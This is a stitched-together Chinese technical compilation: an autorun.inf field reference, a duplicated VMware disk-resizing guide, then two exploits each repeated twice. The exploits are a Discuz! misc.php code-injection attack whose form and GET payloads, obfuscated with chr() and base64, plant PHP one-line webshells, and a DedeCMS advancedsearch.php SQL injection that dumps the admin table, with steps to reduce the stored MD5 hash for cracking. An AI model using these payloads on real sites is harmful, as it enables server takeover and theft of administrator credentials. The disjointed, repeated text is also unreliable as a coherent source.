16:网络设备(web驱动器,建议禁止,默认禁止)
32:光盘驱动设备(CDROM,默认不禁止)
64:虚拟存储设备(RAM,建议禁止,默认不禁止)
128:未指定的其他驱动器(保留位,建议禁止,默认禁止)
三、autorun.inf文件分为三大部分[AutoRun] [AutoRun.Alpha] [DeviceInstall]。
[AutoRun]适用于Windows95以上系统与32位以上CD-ROM,必选。
[AutoRun.alpha]适用于基于RISC的计算机光驱,适用系统为Windows NT 4.0,可选。
[DeviceInstall]适用于Windows XP以上系统,可选。
四、[AutoRun]部分的命令及其详解。
1、DefaultIcon
含义:
指定应用程序的默认图标。
格式:
DefalutIcon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
应用程序的默认图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。
2、Icon
含义:
指定设备显示图标。
格式:
Icon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
设备显示图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。
当存在应用程序默认图标(DefaultIcon)时,本命令无效。
3、Label
含义:
指定设备描述
格式:
Label=描述
参数:
描述:任意文字,可以包括空格。
备注:
设备描述将在windows explorer核心的驱动显示窗口中替代设备的默认描述\卷标来显示。
在非windows explorer核心的驱动显示窗口中(例如右击设备选择属性)显示的仍然是设备的卷标。
4、Open
含义:
指定设备启用时运行之命令行。
格式:
Open=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。
5、ShellExecute
含义:
指定设备启用时执行文件。(操作系统支持未知)
格式:
ShellExecute=执行文件路径名 [参数]
参数:
执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
参数:参数,根据执行文件作调整
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。
6、Shell\关键字\Command
含义:
定义设备右键菜单执行命令行。
格式:
Shell\关键字\Command=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。
7、Shell\关键字
含义:
定义设备右键菜单文本。
格式:
Shell\关键字=文本
参数:
关键字:用以标记菜单,可以使用任何字符表示,包括空格。
文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。
备注:
在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
右键菜单文本中可以使用&设定加速键,&&输出一个&。
Shell\关键字\Command命令Shell\关键字两者缺一不可,顺序无所谓。
当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。
8、Shell
含义:
定义设备启用时运行之设备右键命令。
格式:
Shell=关键字
参数:
关键字:标记过的菜单关键字
备注:
Shell指定的关键字可以在AutoRun.inf文件的任意部分。
Open\ShellExecute\Shell命令后定义的优先级高。
四、[AutoRun.alpha]部分的命令简介。
[AutoRun.alpha]部分的命令与[AutoRun]部分的命令相同,只不过在基于RISC的计算机光驱中,[AutoRun.alpha]优先级高于[AutoRun]
五、[DeviceInstall]部分命令及其详解。
DriverPath
含义:
定义搜索驱动程序目录。
格式:
DriverPath=驱动程序路径
参数:
驱动程序路径:驱动程序所在路径,包括其子路径。
备注:
Windows XP以上支持。
仅CD-ROM支持
当系统监测到一个新的设备时,会提示用户寻找设备的驱动程序。当用户点选此CD-ROM时,当[DeviceInstall]部分存在时,系统会按照 DriverPath所标记的路径出寻找驱动程序。未标记的路径系统将忽略查找。当[DeviceInstall]部分不存在时,系统将进行完全查找。
如果不希望系统在此CD-ROM中搜索驱动程序,只加一行[DeviceInstall]不加DriverPath命令即可。
1、增加一个虚似硬盘
如果是在vmware里面安装的windows系统,添加个硬盘很容易,
(1)先打开要添加硬盘的虚拟系统(不要启动该系统),选择虚拟机菜单---设置-----选添加,
(2)然后在弹出添加硬件向导窗口中------选择硬盘-------一路next就好了,后面的操作和新建一个虚拟机的时候配置硬盘是一样的。
(3)添加了新的硬盘后,启动windows进到系统中,在控制面板中找“管理工具”->“计算机管理”,然后选“磁盘管理”,添加新磁盘就好了。
其实很简单的..如果想继续给VMware增加硬盘的话,重复上述动作。
2、改变原虚拟硬盘的大小
界面中并没有提供增加硬盘容量的方法。
只能在命令行形式下执行。
安装所在盘的c:\Program Files\VMware\VMware Workstation下有一个vmware-vdiskmanager.exe,就是它。
命令参数如下:
------------------------------------------------------------------
Usage: vmware-vdiskmanager.exe OPTIONS |
Offline disk manipulation utility
Options:
-c : create disk; need to specify other create options
-d : defragment the specified virtual disk
-k : shrink the specified virtual disk
-n : rename the specified virtual disk; need to
specify destination disk-name
-p : prepare the mounted virtual disk specified by
the drive-letter for shrinking
-q : do not log messages
-r : convert the specified disk; need to specify
destination disk-type
-x : expand the disk to the specified capacity
Additional options for create and convert:
-a : (for use with -c only) adapter type (ide, buslogic o
r lsilogic)
-s : capacity of the virtual disk
-t : disk type id
Disk types:
0 : single growable virtual disk
1 : growable virtual disk split in 2Gb files
2 : preallocated virtual disk
3 : preallocated virtual disk split in 2Gb files
The capacity can be specified in sectors, Kb, Mb or Gb.
The acceptable ranges:
ide adapter : [100.0Mb, 950.0Gb]
scsi adapter: [100.0Mb, 950.0Gb]
ex 1: vmware-vdiskmanager.exe -c -s 850Mb -a ide -t 0 myIdeDisk.vmdk
ex 2: vmware-vdiskmanager.exe -d myDisk.vmdk
ex 3: vmware-vdiskmanager.exe -r sourceDisk.vmdk -t 0 destinationDisk.vm
dk
ex 4: vmware-vdiskmanager.exe -x 36Gb myDisk.vmdk
ex 5: vmware-vdiskmanager.exe -n sourceName.vmdk destinationName.vmdk
ex 6: vmware-vdiskmanager.exe -k myDisk.vmdk
ex 7: vmware-vdiskmanager.exe -p
(A virtual disk first needs to be mounted at)
-----------------------------------------------------------------
其中的-x参数就是用来扩容的……
如这个:vmware-vdiskmanager.exe -x 36Gb myDisk.vmdk
解析: vmware-vdiskmanager.exe -x 大小 虚拟硬盘文件
-------------------------------------------------------
我的执行过程:
D:\Program files\VMware\VMware Workstation>vmware-vdiskmanager.exe -x 12GB "F:\W
indows Server 2003 Enterprise Edition\Windows Server 2003 Enterprise Edition.vmd
k"
==================================================================
总结一下:
1。文件名应该用双引号括起来。
2。vmdk文件名要连同路径。
3。GB,MB,别忘了B。
需要强调的一点是,调整硬盘大小之后的效果,相当于增加了原来物理硬盘的柱面数目,因此,文件系统并不会自动增长。需要重新调整文件系统的大小。这一步不同的系统有不同的方法。比如
1. 如果guest OS为win系列,可以通过partion magic来实现
2. 如果guest OS为Linux系列,可以通过 resize2fs来扩大ext2/3格式的文件系统。
3. 如果guset OS为其他Unix系统,可以通过向文件树中新增加分区,来扩充原文件系统。
通过vm加盘的方法:在菜单栏哪里有个"VM",点击"VM"里面有个"settings"或者直接用快捷键Ctrl+D,点击"Add"增加一个"Hard Disk"。加完后进入系统后,右击我的电脑选择"管理"进入后再选择"存储"中的"磁盘管理"。对你刚才新增加的硬盘进行快速格式化后,就可以为你原先的硬盘多增加一个盘符=已经扩大你原先的硬盘大小。
如果是在vmware里面安装的windows系统,添加个硬盘很容易,
(1)先打开要添加硬盘的虚拟系统(不要启动该系统),选择虚拟机菜单---设置-----选添加,
(2)然后在弹出添加硬件向导窗口中------选择硬盘-------一路next就好了,后面的操作和新建一个虚拟机的时候配置硬盘是一样的。
(3)添加了新的硬盘后,启动windows进到系统中,在控制面板中找“管理工具”->“计算机管理”,然后选“磁盘管理”,添加新磁盘就好了。
其实很简单的..如果想继续给VMware增加硬盘的话,重复上述动作。
2、改变原虚拟硬盘的大小
界面中并没有提供增加硬盘容量的方法。
只能在命令行形式下执行。
安装所在盘的c:\Program Files\VMware\VMware Workstation下有一个vmware-vdiskmanager.exe,就是它。
命令参数如下:
------------------------------------------------------------------
Usage: vmware-vdiskmanager.exe OPTIONS
Offline disk manipulation utility
Options:
-c : create disk; need to specify other create options
-d : defragment the specified virtual disk
-k : shrink the specified virtual disk
-n
specify destination disk-name
-p : prepare the mounted virtual disk specified by
the drive-letter for shrinking
-q : do not log messages
-r
destination disk-type
-x
Additional options for create and convert:
-a
r lsilogic)
-s
-t
Disk types:
0 : single growable virtual disk
1 : growable virtual disk split in 2Gb files
2 : preallocated virtual disk
3 : preallocated virtual disk split in 2Gb files
The capacity can be specified in sectors, Kb, Mb or Gb.
The acceptable ranges:
ide adapter : [100.0Mb, 950.0Gb]
scsi adapter: [100.0Mb, 950.0Gb]
ex 1: vmware-vdiskmanager.exe -c -s 850Mb -a ide -t 0 myIdeDisk.vmdk
ex 2: vmware-vdiskmanager.exe -d myDisk.vmdk
ex 3: vmware-vdiskmanager.exe -r sourceDisk.vmdk -t 0 destinationDisk.vm
dk
ex 4: vmware-vdiskmanager.exe -x 36Gb myDisk.vmdk
ex 5: vmware-vdiskmanager.exe -n sourceName.vmdk destinationName.vmdk
ex 6: vmware-vdiskmanager.exe -k myDisk.vmdk
ex 7: vmware-vdiskmanager.exe -p
(A virtual disk first needs to be mounted at
-----------------------------------------------------------------
其中的-x参数就是用来扩容的……
如这个:vmware-vdiskmanager.exe -x 36Gb myDisk.vmdk
解析: vmware-vdiskmanager.exe -x 大小 虚拟硬盘文件
-------------------------------------------------------
我的执行过程:
D:\Program files\VMware\VMware Workstation>vmware-vdiskmanager.exe -x 12GB "F:\W
indows Server 2003 Enterprise Edition\Windows Server 2003 Enterprise Edition.vmd
k"
==================================================================
总结一下:
1。文件名应该用双引号括起来。
2。vmdk文件名要连同路径。
3。GB,MB,别忘了B。
需要强调的一点是,调整硬盘大小之后的效果,相当于增加了原来物理硬盘的柱面数目,因此,文件系统并不会自动增长。需要重新调整文件系统的大小。这一步不同的系统有不同的方法。比如
1. 如果guest OS为win系列,可以通过partion magic来实现
2. 如果guest OS为Linux系列,可以通过 resize2fs来扩大ext2/3格式的文件系统。
3. 如果guset OS为其他Unix系统,可以通过向文件树中新增加分区,来扩充原文件系统。
通过vm加盘的方法:在菜单栏哪里有个"VM",点击"VM"里面有个"settings"或者直接用快捷键Ctrl+D,点击"Add"增加一个"Hard Disk"。加完后进入系统后,右击我的电脑选择"管理"进入后再选择"存储"中的"磁盘管理"。对你刚才新增加的硬盘进行快速格式化后,就可以为你原先的硬盘多增加一个盘符=已经扩大你原先的硬盘大小。
使用该exp的话仅限本机测试,其他用途后果自负!
第一种方法:
先注册个用户然后把
<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">
帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>
chr解码后是:value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'<?php eval($_POST[cmd])?>');
里面有个提交地址改下,保存html
打开点提交,会生产forumdata/cache/usergroup_01.php一句话文件,密码是cmd
第二种方法:
直接GET,利用语句:
misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
在根目录生成C.PHP密码是C
临时修补方法:
在common.inc.php上面加上
$response=$scriptlang=array();
官方发布修补补丁:
http://www.discuz.net/thread-1537673-1-1.html
第一种方法:
先注册个用户然后把
<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">
帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>
chr解码后是:value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'<?php eval($_POST[cmd])?>');
里面有个提交地址改下,保存html
打开点提交,会生产forumdata/cache/usergroup_01.php一句话文件,密码是cmd
第二种方法:
直接GET,利用语句:
misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
在根目录生成C.PHP密码是C
临时修补方法:
在common.inc.php上面加上
$response=$scriptlang=array();
官方发布修补补丁:
http://www.discuz.net/thread-1537673-1-1.html
plus/advancedsearch.php
$sql 变量未初始化。导致鸡助注入。
01 if($mid == 0) // 必须绕过,By:俺是农村的。
02 {
03 showmsg('参数不正确,高级自定义搜索必须指定模型 id', 'javascript');
04 exit();
05 }
06 $query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
07 $searchinfo = $dsql->GetOne($query);
08 if(!is_array($searchinfo)) //囧啊,绕过有难度,
09 {
10 showmsg('自定义搜索模型不存在','-1');
11 exit();
12 }
13 $template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
14 if(empty($sql)) //人品问题,成功绕过!
15 {
16 ..............
17 }
18 else
19 {
20 $sql = urldecode($sql);
21 $query = $sql;
22 }
23
24 $sql = urlencode($sql);
25 $dlist = new DataListCP();
26 $dlist->pageSize = 20;
27 $dlist->SetParameter("sql", $sql);
28 $dlist->SetParameter("mid", $mid);
29
30 ................
31
32 $dlist->SetTemplate($templatefile);
33 $dlist->SetSource($query);
34
35 .............
36
37 $dlist->Display();
漏洞利用:
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。
$sql 变量未初始化。导致鸡助注入。
01 if($mid == 0) // 必须绕过,By:俺是农村的。
02 {
03 showmsg('参数不正确,高级自定义搜索必须指定模型 id', 'javascript');
04 exit();
05 }
06 $query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
07 $searchinfo = $dsql->GetOne($query);
08 if(!is_array($searchinfo)) //囧啊,绕过有难度,
09 {
10 showmsg('自定义搜索模型不存在','-1');
11 exit();
12 }
13 $template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
14 if(empty($sql)) //人品问题,成功绕过!
15 {
16 ..............
17 }
18 else
19 {
20 $sql = urldecode($sql);
21 $query = $sql;
22 }
23
24 $sql = urlencode($sql);
25 $dlist = new DataListCP();
26 $dlist->pageSize = 20;
27 $dlist->SetParameter("sql", $sql);
28 $dlist->SetParameter("mid", $mid);
29
30 ................
31
32 $dlist->SetTemplate($templatefile);
33 $dlist->SetSource($query);
34
35 .............
36
37 $dlist->Display();
漏洞利用:
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。






